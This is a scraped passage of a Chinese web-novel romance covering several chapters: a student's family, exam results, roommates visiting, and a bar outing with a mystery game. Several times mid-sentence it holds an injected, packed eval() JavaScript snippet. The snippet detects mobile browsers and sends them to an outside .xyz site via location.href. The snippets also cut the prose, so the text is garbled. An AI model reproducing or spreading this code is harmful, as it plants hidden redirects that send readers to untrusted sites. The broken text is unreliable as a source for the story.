越远离车站，周边的景象就逐渐变得破败起来。好像刚在市中心看到的高楼大厦都是幻象，眼前紧挨在一起的、灰蒙蒙的居民楼才是真切的。 走进小巷子，绕过头顶一堆晾着衣服的挂绳，付言辞从最角落里的一栋进去。 没有电梯，只能是沿着已经看不出原来是什么颜色的台阶上去。 到了家门口，没想麻烦妈妈来开门，付言辞在兜里翻找钥匙。 门里面的话就这么传了出来。 “妈妈，哥哥的文件夹上面写的名字，我上次在医院里看到了。” 这是她妹妹付语诗的声音。 “你这孩子，又开始说瞎话了。你哥哥文件夹上除了会写自己的名字，难道还会写别人的？” “我没有说瞎话！真的是一个姐姐的名字，而且那个姐姐我在哥哥的毕业照里也见过！你要是不信，我去拿给你看。” 付语诗说着就要放下碗筷，去付言辞的卧室。 但还没离开座位，付言辞已经推门进来。 看到是亲哥，付语诗立即心虚起来，乖乖地喊了一声哥哥后，就当作什么都没发生似的，继续低头吃饭。 “回来了啊。”看到儿子进来，付母立即起了身了，去厨房里给他盛饭。 付言辞立即走上前去制止了：“妈，你吃就行，我自己去。” 付母这才重新坐下。 等付言辞进去，她对着女儿做了个噤声的手势。 一餐饭吃得很安静，除了付言辞去国外的事，付母也不会再提及其他。 付言辞也向来是这样话少，吃完饭洗完了碗，就回了自己房间。 还有两三天就要离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645337|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行李箱里其实也没什么可以装的，他的衣服没几件，其他的除了电脑和必需品几乎没有，很快就收拾好了。 坐在桌前，付言辞尝试打开电脑再看一下交换高校的一些信息，却始终静不下心来，索性蒙头睡了一觉。 醒来后已经是晚上。 付母在这时候敲了下他的门，叫他出来吃晚饭了。 没想让家人看到自己眼下疲倦消极的模样，付言辞洗了把脸才出去。 没在桌边看到小不点，付言辞问了句：“妹妹呢？” “她和隔壁的小朋友出去玩了。” 这时只剩下了母子俩，付母看着他，最终还是没忍住，问出了口：“儿子。” “你是不是有喜欢的女生了？” 付言辞愣了下，没回应，只把桌上的虾和牛肉又放到了付母面前，若无其事地说了句： “妈，以后不用再特意准备这些菜，家里平常吃什么就做什么。” 付母也没理会他，只继续问：“是以前的同学吗？” 付言辞没办法再装作没听见。 “嗯。” 他回答了。 - 工作到了六点准时结束。 摘了工牌后，贺祁直接走了过来找夏汀禾。 “先去吃饭？” 夏汀禾活动了一下身体，点头说好。 两个人一并往外走，宿舍群里在这时跳出了一堆消息。 【汀妹，你看班级群消息了没！上个学期的成绩出了！】 【快去快去！】 【速速去看，小禾苗！】 被三个室友连着艾特，夏汀禾不由得好奇了起来，直接点开了班长在群里发的成绩统计表。 习惯性地在中间位置找自己的名字。 却没看到。 是掉到后面去了吗？ 夏汀禾从来没有出过前七名。 心跳开始加速，指尖都开始出汗，她飞速地滑动，但也没一直翻到底，也没看到。 直到突然的抬了一下眼，在第一行看到了自己的名字。 她是第一。 耳边忽地沉寂下来，夏汀禾只听到了自己心底的声音。 她竟然是第一。 期末那段时间，一直处在表白失败的阴影之中，她甚至都产生了不想考试的冲动，不过最终还是忍着情绪考完了。 夏汀禾没想到结果会比她预期的好这么多。 捧着手机看了许久，等贺祁问她怎么了，她才晕乎乎地把手机递给他看。 贺祁仔细地看了，回应道：“去吃你中午说的那家餐厅？” 夏汀禾不知道他怎么想起了这个。 贺祁笑了下：“考第一了，不去吃点特别的奖励一下自己？” 夏汀禾没有这种习惯，从小到大不管考得好坏，她爸妈都不会说什么，签个字走个流程就算结束了。 第一次从其他人口中听到奖励自己这个词，夏汀禾怔愣了下，但她很快就点了点头，答应了。 餐厅里的食物味道比夏汀禾预期中的还要好，心满意足地解决了一餐后，两个人又在附近散了一会儿步。 快十点时，贺祁送了她回家。 “那我走了？”没让贺祁走太远，在岔路口时，夏汀禾就停了下来。 “嗯。”贺祁点了下头，“早点休息。” 夏汀禾看了他一眼，有些不满意，又小声问：“……就只有这一句么？” 贺祁挑了下眉：“这句不行？” “不行。”夏汀禾回了他。 “为什么？” 因为他肯定也对很多人说过。 这几个字很普通，一点都不特别。 而且中午的那句话被蔺澈打断之后，贺祁都没回她了。 想到这里，夏汀禾又觉得有些得寸进尺了，没等他回答，她随便找了个借口糊弄过去，道了别就往家走。 直到快要到门口时。 手机忽地响了一声。 她收到了贺祁发过来的消息。 【夏汀禾】 【你很漂亮，也不只是漂亮，这点不需要我和其他任何人的认可或者是证明】 【晚安】 【还有，明天见】 31. 离开 回到家洗完澡后，夏汀禾坐在沙发上边看消息边吹头发。 宿舍群里还在不停地跳出新的对话，她的心思却依旧在贺祁说的那几句上。 她也不是一定要他夸自己漂亮。不过被肯定了之后，夏汀禾还是忍不住有点小雀跃。 把头发吹干后，她又拿着镜子看了下。 不知道是不是因为贺祁这么说了，夏汀禾总觉得自己似乎确实还挺好看的。 发现自己有些自恋起来，耳尖微微发烫，她很快又把镜子搁在了一边，摸了摸耳朵。 群里又再次艾特了她。 【汀妹考了第一，而且我们宿舍都在前二十名耶！要不我们一起过去汀妹那边庆祝一下？】 【我赞同，上次本来就打算过去看汀妹的，只是在国外。现在本小姐回国了，肯定要见见各位！】 【可以，那一起定个时间？】 室友催得急，夏汀禾想也没想就答应了。 等到时间定下来后，夏汀禾才意识到——她们要过来，那不是就会看到贺祁？ 但她还没想好怎么和室友说贺祁的事。 手忙脚乱了一通，夏汀禾想把时间再往后退一下，只是也找不出其他的理由来。 宁苒这时私聊了她。 【汀妹，你今天看到成绩单后有没有去大吃一顿呀？】 她们几个人当时还担心夏汀禾会收到付言辞的影响，现在发现完全是多虑了。帮学霸担忧学习，不如先担心担心自己。 想到晚上和贺祁一起吃的那顿，夏汀禾脸颊又热了些。 【嗯，去吃了一家西餐】 宁苒好奇地接着问：【西餐么？有没有照片看看？减肥晚上没吃饭，我快饿死了】 好在晚上吃饭的时候拍了一些，夏汀禾给她发了几张过去，又问：【我帮你点个外卖？减脂餐可以吗？有一家连锁店挺好吃的】 宁苒迅速制止：【不不不！千万别，今天才第一天，我坚决不能放弃！下周加上运动，我就可以正常吃饭了】 夏汀禾这才停住了手。 看了她发过来的照片，宁苒回了好几个流口水的表情包。 直到突然看到了一张不一样的。 【汀妹，你是和男生一起去吃的吗？】 看到这里，夏汀禾立即往上翻了翻聊天记录。没等她找出原因，宁苒已经给了解释。 【这张照片这里有男生的手，看样子他还在给你夹菜？】 夏汀禾放大一看，当时是她想拍一张桌上的全景图，正好贺祁帮她拌好了沙拉，递过来给她，于是不小心就把他的手给拍了进去。 忘记了这回事，她刚才选照片时也没注意看，连着选了好几张一并都发给了宁苒。 夏汀禾倏地坐直了些。一会儿后，宁苒那边已经自己想通了。 【哦哦，差点忘了！你还有个表哥是吧？就住在你家对面，开民宿的那个】 宁苒误以为是蔺澈。 宿舍里偶尔会聊到家里的情况，她们也都知道夏汀禾和她舅舅一家关系好，自然也知道蔺澈。 不过也只是听说过她表哥是个大帅比，并没有见过真人。 夏汀禾找不出其他的来否认，就这么糊弄了过去。 睡前她有点心虚，于是又找贺祁聊了会儿天，等到实在困得不行了，才闭眼睡觉。 因为头天是在家里住的，第二天夏汀禾便自己去了天文馆。贺祁从民宿出发，他们俩不同路。 走在路上，夏汀禾又不经意地想起了昨晚的事。 室友是打算下周一过来，因为正好天文馆闭馆，她也有空。 为了方便和室友见面，往常她们来这边，夏汀禾都会直接安排她们住在民宿。只是这次，要是她们真去了那，肯定就会和贺祁碰上面。 不过要是让她们换到别的地方住，那不是更可疑了么？ 一时半会儿找不出两全其美的办法，夏汀禾只好叹了口气。 去往天文馆的路上风景不错。 夏汀禾只好借助这点来缓解心情。 她边走边看着，没曾想一扭头，就在旁边的便利店瞥到了祝朝月。 祝朝月穿了和以往不同的灰色帽衫和工装裤，戴着帽子的和口罩的。要不是夏汀禾熟悉她的身形，也很难认出来。 正准备上前去打招呼，她紧接着就看到祝朝月从店员的手中接过了冰袋，拉开口罩，敷在了脸上，夏汀禾又瞬间收住了声。 她的脸颊是微肿着的，因为皮肤白，上面的红印也格外显眼。 夏汀禾没叫她，祝朝月也没察觉到有人在看自己，结了帐后便往外走。 不是去她公司的方向。 祝朝月比平时要沉默得多，往前走的过程中，她甚至都没抬头看过一眼周围。 夏汀禾看着她上了公交车后，自己才离开。 祝朝月的举动过于反常，一直到天文馆，夏汀禾还在记挂着她。 “在想什么？”贺祁来得比她早，一进场馆就先去了储物柜拿志愿者服和工牌，夏汀禾的柜子就在他的旁边，他也就一并拿了过来。 贺祁先把衣服递给了她。 “没什么。”夏汀禾摇了摇头，低着头把衣服披上。 看着她的动作，贺祁想起来什么似的，又继续问：“对了，祝朝月最近有没有联系你？梁浩说给她发消息没回。” 刻意避开了这个话题，贺祁却提了起来。 “……前天她来找我一起吃过早餐，最近没有联系。” 夏汀禾没说早上看到了祝朝月的事，只是又补充了一句：“要是没回消息的话，他不是也可以过去找朝月的么？” 面对面说话，可能会更加好沟通一些。而且梁浩去的话，应该比她更有用。 只是 ——“梁浩不知道她住哪。” 贺祁想了下，直接在手机上给梁浩说了情况：“算了，直接让他去祝朝月公司那边等吧。” 夏汀禾没想过是这样的。她以为作为男朋友，梁浩应该是最了解祝朝月的人，但实际上他和她知道的似乎差不多。 他们不是在一起了快两年了吗？ 两年在夏汀禾看来，已经是比较长的一段时间了。她从来都没有想过，自己某天可能会和一个人有这么长时间的感情联系。 领队在这时过来，和他们十几个志愿者讲了下今天的基本工作。手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15646733|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事多了起来，夏汀禾很快又把这件抛在了脑后。 半小时培训完，去往展厅时，贺祁拉住了她。 “不去整理一下？” “嗯？”夏汀禾低头看了下自己的着装，确认没问题：“整理什么？” 贺祁勾了下嘴角，视线落在她的头发上。 夏汀禾往后一摸，摸到一把撂在后背的。 早上起得太早，扎头发时都是迷迷糊糊的，她随便弄了个低马尾就出门了，也没仔细看镜子扎好了没。 所以她过来的一路上就都是这样？ 难怪刚刚旁边的志愿者都在往她这边看，想要说点什么，但最后还是礼貌地止住了口。 “你怎么现在才提醒我？”想到刚才的场景，夏汀禾不由得有些生气。 看这人笑得这么欢快，肯定是早就发现了。 不想理他了，夏汀禾自顾自地跑去洗手间，贺祁大步地跟在她后面，笑着解释：“我想提醒的，不过刚才那不是人多么？” 她才不听。 他就是故意的。 夏汀禾没回他，直接进了洗手间，把他晾在了外面。 等重新扎了头发出来，她没想到贺祁还在门口的走廊等着。 只是这回不是他一个人了，周围还有其他女生。 夏汀禾认识，几个女生也是志愿者，不过不是他们队的，所以平时交流也不多。 贺祁还在和她们聊天。 他的长相本来就容易引人注目，再加上性格又好，队伍里面早就传开了，其他只听过名字的也早就想来见一面。 这样的场景夏汀禾见过太多次。 因为她曾经无数次这样看着过付言辞，看他被一群人包围着。自己只能站在很远的角落里观望着，等到人群散去之后，她才敢小心翼翼地走过去，问上一句在心里打过无数次草稿的话。 不过以前只是酸涩，现在相同的情况放在了贺祁身上，夏汀禾却感觉到心里的气要更多些。 她也不知道自己在生什么气，是因为贺祁的举动，还是因为以前的自己。 总之哪个都不是夏汀禾想要的。 但她没选择像以前那样在角落里看着，夏汀禾直接低着头从旁边走了。 只是在她即将出走廊时，手忽地被人拉住了。 丝丝凉意从手腕上传来，知道是谁，夏汀禾不得不站住了脚。 “出来了也不说一声，跑这么快？一转眼人就不见了。”贺祁是跑过来追她的，说话时还有点轻微地喘息。 夏汀禾也不知道自己哪来的脾气，直接挣脱开他的手，回应道：“你不是在和别人聊天吗？” 明明说是在等她的，结果转眼又和别人聊了起来。 她的声音过于乖巧，带着点气这么说也只会让人觉得在撒娇，但贺祁能听出来不是。 她是真的生气了。 然而见她沉着脸看着自己，贺祁又没忍住笑了起来，懒洋洋道： “嗯，聊了三分钟，都是在说你。” “也没加她们的联系方式。” 他弯了下腰，和夏汀禾平视着，凑到她面前，问： “嗯？不生气了行么？” 32. 慌乱 夏汀禾有时候怀疑贺祁就是知道自己的脸有优势，所以每次来说好话时就会故意凑这么近，让她发不出气来。 她是百分之百的颜控，当初喜欢付言辞也有一半是因为他的长相。 而贺祁更是符合她的审美。 “你别看着我……”夏汀禾推了推他，别开了视线。 虽是这么做，但她不得不承认，自己已经消气了。 “你就是知道自己……”当着他的面，夏汀禾说不出来夸他的话，只能含糊地说了句后半句：“所以就这样对我。” “知道什么？”贺祁和没事人一样，笑了笑，十分坦荡地问她：“知道我长得好看？” 从小被夸着长大，加上被无数人表过白，但凡不是迟钝到头的，都不可能不清楚这点。大概也是因为过于平常，贺祁也很少去关注长相给他带来的好处。 直到遇见了夏汀禾。 她会时不时地盯着他的脸看，被他抓到之后又会假装什么都没发生一样望向别处。哪天要是他穿得好看点，夏汀禾就会很愿意邀请他出去玩。 以及，和他有一些越过朋友界限的接触。 既然是他的优势，为什么不利用？ 夏汀禾没想到这人会这么直接地说出来。而且偏偏他这样承认，也并没有让人觉得有不对的地方。 他本来就是自信且张扬的性格。 怕他待会儿又凑过来问自己，夏汀禾不好意思和他再聊下去这个话题，直接问他： “那你和她们说什么了？” 贺祁指了下她脖子上的项链，笑着说：“她们问我知不知道你的项链从哪买的，是不是天文馆的周边。” 夏汀禾低头摸了下吊坠，一下子紧张起来。 朋友之间送这个，应该没什么问题的吧？ “那你怎么回答的？” “你猜。”贺祁不回她了。 这下跟在后面的人换成了夏汀禾。不过任由她这么问，贺祁都不告诉她，弄得夏汀禾一整天都为这事发愁。 - 说好了是下周一过来，实际上宁苒约着其他两个室友，周日下午就提前抵达了民宿，想给夏汀禾一个惊喜。 到了之后，没等订房间，夏汀禾的舅舅舅妈就认出了她们来，直接给她们开了民宿里最大的套房，让几个女生能住在一起。 收拾好后，宁苒在手机上搜索附近的餐厅，打算先解决一下吃饭问题。 正看着呢，旁边的黎穗拍了下她：“你上次不是说汀妹吃了一家西餐厅，看起来不错嘛？” “也对。”宁苒收起了手机，直接下了楼去问蔺澈。 经过夏汀禾舅妈的介绍，她们刚进门就认识了蔺澈，还是他帮忙给她们提行李的。 看到蔺澈的长相后，宁苒不得不感慨，果然颜值高的，一家人一般都长得不赖。 下去时，蔺澈正坐在客厅里看电影。 一部很多年前上映的动画片。 他的爱好和长相反差有点大，让宁苒都有些诧异。她本来还以为蔺澈是什么成熟温柔的大哥哥类型，现在看来，应该可以直接排除了。 有人在旁边站着，蔺澈很快就瞥到了侧面的人影，扭头一看时，差点被吓了一跳，从沙发上滚下来。 “汀禾的同学？”看清楚了是谁，蔺澈撑着沙发后背坐直了些，“有什么事吗？” 宁苒不好意思地说了声抱歉，说出来意：“哦，我就是想问一下你，你前几天和汀禾去的是哪家西餐厅啊？我和朋友也想过去吃。” “西餐厅？”蔺澈抓了下头发，“我最近没和她去过啊。你是不是记错了？” 宁苒：“？” 没去过？ 宁苒又翻了一遍聊天记录。 片刻后，她十分确认自己没记错。 - 从天文馆下了班，想去见一下舅舅舅妈，夏汀禾便和贺祁一起回了民宿。 进门前，贺祁接了个电话，于是夏汀禾先走进了大厅。 一进来，舅妈迎上来和她报告了消息：“你那几个室友过来啦，都等着给你回来一起出去玩呢。” 夏汀禾懵了一两秒，没反应过来，又和舅妈确认了一遍：“我的大学室友吗？” 舅妈笑了笑：“对啊，不然还是谁？我把她们安排在你房间右边的套房了，晚上你们可以睡一起。” 已经来不及听完舅妈的话了，夏汀禾立即跑上了楼。她推开门时，只有宁苒和应忱在房间，躺在床上边看电视边聊天。 瞧见她过来，宁苒迅速从床上蹦了起来，跑过来抱住了她。 “汀妹，你终于回来了！想死你了！” 应忱站在一边，接着也被拉了进来抱了抱。等松开后，夏汀禾才有机会问黎穗去了哪。 “哦，她啊，她就在民宿门口闲逛啊，说是门口有很多好看的小店可以拍照。” “民宿门口吗？”夏汀禾捏了下手臂，又问了一次。 贺祁就在门口打电话。 “对啊，怎么了吗？” 夏汀禾摇了摇头：“没什么……” 她迅速找了个借口：“我有点事还要先下去一下，待会儿再过来可以吗？” 宁苒没意见：“可以啊。待会儿咱们一起化妆，去酒吧！” 酒吧这句夏汀禾已经没听见了，她急着下楼，胡乱点了点头就算答应了。 只是刚出房间，迎面就撞上了黎穗。 “超级无敌大消息！”她兴奋地往房间里跑，这时注意到夏汀禾，“汀妹？你回来啦？” 几乎已经预料到她会说什么，夏汀禾正想开口，黎穗已经拉着她又回了房间。 宁苒这时扭过头来回了一句：“什么大消息？你中十块钱的彩票了？” 黎穗：“……” “什么呀。”黎穗指了指楼下：“你绝对猜不到，有个人也住这里！” 她没说是谁，宁苒和应忱也只是毫无情绪波动地等着她的下文，只有夏汀禾在想办法止住她。 黎穗试图用夸张的语气唤起她们的兴趣：“就是贺祁啊！之前讲座的时候我在群里说的那个！” 宁苒反应了一两秒，接着把手上的口红一扔，脸上只涂了一半也没管了，立即趴窗户上去看了：“真的假的？在哪？” “真人怎么样啊？是不是照骗？” “别往外看了，他回房间了。”黎穗把人拉了过来，耸了耸肩说：“只能说真人比照片好看多了，而且看着有一米八多，身材也很顶。” 黎穗低头啧了好几声，弄得宁苒更想看真人了。 只是转念一想 ——“等等，汀妹你居然不知道吗？” 这一刹那，三个人的视线同时聚集到夏汀禾身上。 顺着宁苒的问题，黎穗也发觉不对劲：“他看样子在这边住了有一段时间了诶，汀妹你以前过来的时候都没有碰到吗？” 夏汀禾手心都在冒汗，她低着头，小声地说：“……可能有碰到吧，我也没太注意。” “好了，这种事你们问汀妹干吗？”应忱先打断了，温声道：“她本来也不关注这些，再说了，贺祁和我们也没什么关系。” 这一句算是终于结束了话题。 三个人开始坐在桌前化妆，为去酒吧做准备。 上次本来想去，但是考虑到家长，还是有些怂了。现在考完了试成绩也出来了，在外面疯玩也不怕被说。 正画着眼线，宁苒突然想起来道：“他是和我们没有关系啊，但我们可以创造关系。” 夏汀禾是在帮她绑头发，冷不丁听到这句，一不小心手滑，原来绑好的又全部散开了。 “什么意思？”黎穗看过来问。 各自都在专注着自己的事，没人注意到夏汀禾的动作慌乱了些。 宁苒隔空回应道：“就是他不是住在这儿嘛，看样子也是长住，那不正好可以看看他真实是什么样的？要是还不错，汀妹可以尝试一下呀。” “那也要看汀妹有没有意思。” 一两句话又转回了夏汀禾身上。这下轮到了宁苒帮她织辫子，宁苒让她坐在座位上，正对着镜子。 夏汀禾是微垂着眼眸的，眼睫又卷又翘，民宿的灯光一照，皮肤都是白里透红的。 宁苒捧着脸欣赏了一番，才凑过去问她的意见，柔声问：“你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卡座的环境要比其他地方安静得多，位置也离舞池不远，正好可以看到中央蹦迪的男男女女，算是蹭个气氛。 点完饮品后没一会儿，宁苒几个人就被舞池中间的热闹吸引了过去。 她们商量着去那边转转，知道夏汀禾不喜欢太吵的地方，也没带上她了。 起身前对她说：“我们去那边帮你看看，有趣的话就叫你过去。” 夏汀禾说好，宁苒这才放心地走了。 等她离开，夏汀禾扭头一看，却发现这片区域只剩下了她和贺祁。蔺澈和梁浩也不知道去了哪。 贺祁就坐在她对面，本来也是在低着头看手机的，但兴许是察觉到身边的人不见了，他抬了下头。 正好和夏汀禾对视。 心脏猛地一跳，夏汀禾又开始望向了一边，脸颊微微发烫。 明明白天在天文馆的时候，贺祁还帮她拿了衣服，两个人路上也是一起走着回来的，这时却变得陌生起来。 夏汀禾不清楚他是否已经感觉到了自己在有意地避开他。 她这么做，紧张的同时又有点担心贺祁会不舒服。毕竟上次她那样疏远后，贺祁就直接冷了下来。 他向来对这些事敏感。 不过这次，在她躲开视线之后，贺祁也没说什么，直接起了身，去了吧台。 他一身简单的黑色短袖和休闲裤，身高腿长的，身上也没有其他的任何饰品，在一众人里显得格外清爽。 夏汀禾望着他的背影看了一会儿。 宁苒又在这时发过来消息：【要是发现那个贺祁不是什么好人，一定要马上打电话给我们哦，知道吗汀妹】 夏汀禾还没回答，贺祁就已经走了回来。 他手上拿了一杯淡蓝色的饮品，上面还有奶油和樱桃点缀，装在透明的玻璃杯里，很是漂亮。 这不像是酒水，更像是外面的奶茶。 实际上也是，贺祁帮她选的就是没度数的，带甜味的。 相处了这么长时间，夏汀禾也知道这是他买给她喝的。贺祁清楚她喜欢漂亮的东西，食物也一样。 只是她怕被室友看到，因此在贺祁递给她时，夏汀禾小声地道了谢，迅速就接过来。 她的动作过于慌乱，指尖搭上贺祁的手背时，玻璃杯里的水差点洒了出来。 看到她的模样，贺祁忽地笑了下，漫不经心地看着她问： “这么紧张做什么？” 33. 游戏 他微挑着眉，笑起来也看上去和平常一样，懒散又随性。 反倒显得夏汀禾有些反常了。 “没、没有啊……”夏汀禾低头回了一句，咬着吸管假装喝饮料来躲避他的问话。 她第一次体会到什么叫做说谎话不打草稿。 好在贺祁也没继续问了，笑着“嗯”了一声，就又回到了自己的位置上。 没多久，宁苒从舞池回来。 在那边蹦了一会儿，身上都是热的，看到桌上服务员已经送过来的饮品，拿起来就喝了。 结果没想到是酒，味道太冲，一口下去差点被呛住。 “这是谁点的呀？一点都不好喝。”宁苒皱了下眉，扭头看向夏汀禾，却发现她手里的不一样。 “诶，汀妹你是另外点的吗？” 刚才她们一起点单的时候，夏汀禾只随着宁苒选了一样的。 “嗯……”夏汀禾也不敢看对面，就这么十分小心地应了一声。 怕宁苒觉得不对劲，她又把玻璃杯推到了她面前，问她：“你要尝尝吗？挺好喝的。” 饮品是冰凉的，入口带点柠檬和百香果的酸甜味儿，还附带着淡淡的果香，夏汀禾最喜欢这一类口感的饮料。 推过去之后，想起来是贺祁买给她的，夏汀禾下意识地看了看对面的贺祁，把玻璃杯又拿了回来。 宁苒：“？” 夏汀禾支支吾吾地解释：“……这杯我喝过了，我再帮你点一杯吧。” 没给宁苒回答的机会，夏汀禾起身去了吧台。 其实也是怕发现破绽。这种情况下，喝彼此的饮品对他们来说是常有的事。 到了吧台，看着菜单上的一堆名字，夏汀禾才意识到问题——她不知道那杯叫什么。 回头看了眼，贺祁背对着她的，而且仍坐在沙发上低头看手机，似乎是在给谁发消息。 直接过去问他肯定会让宁苒察觉出异常。 正想着怎么办，手机突然响了一声。 贺祁给她发了条消息。 【第一页，左边第二排】 - 点完单回到座位上，蔺澈和梁浩不知道什么时候也回来了。 梁浩还带上了祝朝月。 几个女生坐在一块，很快就聊到了一起。 没一会儿，服务员过来送酒水，无意间提及酒吧其实还有一些桌游可以选择玩。祝朝月率先说想尝试，其余的也没什么意见，于是就选了看起来最有趣的剧本杀。 主持人过来时，先对游戏里的角色人物做了简单的介绍，特别提了一嘴： “哦，对了，有一对是情侣，看你们是想固定分配，还是随机。” 在座的只有梁浩和祝朝月是一对，主持人说完后，几个人同时看向了他们俩。 梁浩耳尖红了些，正准备笑着答应，旁边的人却突然开了口：“随机分吧，固定了角色就没那么好玩了。” 这句是祝朝月说的。 她用开玩笑的语气说出来，其余人也没当回事，笑了笑也就算答应了。 “你觉得呢？”祝朝月这时侧过脸去看梁浩。 梁浩愣了一两秒，才点了下头：“好。” 游戏很快开始，按照他们的意见，主持人把剧本放在了桌上，让他们随机抽。 第一次玩这一类的，夏汀禾心里的好奇感更多些，直接随便就拿了一个。 主持人正好站在夏汀禾旁边，分配完后，好心提示了她一句：“你这个角色正好和对面的帅哥是一对哦。” 不用抬头看，夏汀禾也知道他指的方位坐着的是谁。 她直接低下了头，全程盯着桌上。 宁苒这时又悄悄地给她在手机上发消息。 【这不是天赐良机？想什么来什么！我刚还想说，要不直接分给你和贺祁算了】 群里的其他两个也跟着应和。 【妈呀，这也太巧了吧！这说明什么？缘分就是如此奇妙！】 【不得不说，贺祁是有点子帅的，我这个角度看着都很带感，求求让我看汀妹和他一起，高颜值情侣我直接磕生磕死】 【好好奇啊，汀妹和他当情侣是什么样的】 她们说得夏汀禾都已经没办法再往下翻聊天记录了，只能红着脸当作什么都没看到。 几分钟的时间看剧本，周围慢慢安静下来，夏汀禾都快忘记刚才的调侃了，对面忽地传来声音： “你好，问一下，我女朋友是哪位？” 夏汀禾倏地就紧张了起来。 是贺祁的声音。 他离主持人远一点，没听到刚才主持人说的话也正常。 只是听清楚了他是怎么问的之后，夏汀禾更加脸热了。 “是汀妹呀！”宁苒自然不会错过这种凑热闹的时候，主持人还没说，她就已经搂着夏汀禾的肩膀帮忙回答了。 贺祁往她们这儿扫了眼，点了点头后又笑了下，道：“这样啊，行，知道了，谢谢。” 听到他的笑声，夏汀禾忍不住埋怨他。 都怪他。 坐这么远干什么？又听不清别人讲话。 好在大家也只是当个插曲过去，几分钟后，游戏开始，各自先代入角色做自我介绍。 夏汀禾拿到的角色身份是富家千金，被骄纵着长大的，身边的所有人几乎都喜欢她，俗称团宠。 根据座位顺序来，夏汀禾是第一个，她按照剧本上的简单概括地说了情况，接着一人一两句的介绍完，最后轮到座位另一端的贺祁。 “我其实没什么可以介绍的，就是一个高中毕业后混迹社会的普通混混吧，前二十几年都在社会上摸爬滚打，后来因为遇到了我女朋友，就开始改变人生。” 他说这些话的时候，脸不红心不跳地看着夏汀禾，神情认真得让人觉得他只是在代入剧本玩游戏。 只有夏汀禾知道他在故意这样逗她。 她干脆直接选择不和他对视。 因为选的是欢乐本，不是恐怖类型的，过程其实也挺愉快，解密推理过程都很顺利。 直到需要投票选出卧底时，一大半的人都选了贺祁，其中三个就有夏汀禾态度一百八十度大转弯的室友。 主持人引导流程：“你们需要各自说一下投的理由是什么？” 宁苒：“不喜欢乖乖女爱上混混。” 贺祁：“……” 黎穗：“肯定别有所图。” 贺祁：“…………” 应忱：“他推理的时候有点太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663621|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快了，几分钟就解开了，应该是提前知道更多的消息。” 主持人又问：“其他的呢？” 蔺澈举了下手：“啊，我跟风的。” 贺祁彻底没话说了。 除了两个从高中一起玩到现在的同学，就只有夏汀禾没选他了。 主持人好心提醒贺祁：“现在还可以解释一下，挽救挽救。” 目前的票数来说，解释其实已经没用了。 夏汀禾本来也想选他，只是看他票数太多，有点不忍心，于是就在两个怀疑对象中投给了蔺澈。 因为她没投贺祁，所以也不需要解释理由。 直到贺祁突然看向了她，笑着问：“可以申请让女朋友可以帮我一下么？” “她没投我。” 心脏猛地一跳。 所有目光又一次落到了夏汀禾身上。 夏汀禾只好硬着头皮，重新梳理了一下逻辑和时间线，最后给出结论：“他作为陪在我身边七八年的男朋……人，应该是不会对我有不好的想法的。” 夏汀禾帮他据理力争了半天，只是众人早就决定了，也难以更改。 于是最后贺祁的票数还是以压倒性趋势盖过了其他人。 在公布结果时，夏汀禾这才终于看向了贺祁。 他不知道在想什么，总之没怎么在意游戏的结局，只是把它当成一种娱乐。 而他似乎是从听到自己刚才说的那番话后，就开始走神了。 - 剧本杀结束后，夏汀禾又被拉着去舞池玩了一会儿。 从酒吧出来后，已经是十一点。 其余人还在收拾东西，夏汀禾和贺祁先出了门。 门口人多，他们索性站在了酒吧旁边的绿化带等，身后就是一整列茂密的大树。 在舞池玩得有些耗费体力，附近又没有地方坐，夏汀禾只好蹲了下来。 看到她的动作，贺祁偏过头问：“累了？” 夏汀禾点了点头，又把侧着脸躺在了膝盖上。 不仅是累了，她都有些想睡觉了。 平常都是十一点左右入睡，今天不仅运动量超标，睡眠更是不足。 因为是坐蔺澈的车回去，所以只需要走到停车场就行，只是这么点距离，夏汀禾都没力气走了。 她想缓一会儿，等精神恢复了点再走。 正准备对贺祁说让他先去，这人突然也在她旁边蹲了下来。 “背你过去？” 夏汀禾怀疑自己是不是听错了，心里一激灵，猛地转过头去看他。 两个人就这么隔着十几厘米的距离看着彼此。 树影晃动，耳边偶尔还有从酒吧里传出来的音乐声，不过因为离得远了，节拍都仿佛变得悠扬又漫长。 贺祁是浓颜系长相，在夜晚朦胧的光影里，五官尤其显得立体和深邃。 夏汀禾看了一眼他，又望向了地面，不确定，于是又问了一遍：“你刚刚说什么了？” “背你过去啊。”贺祁笑了下，“要不要？” “过了这村就没这店了。” 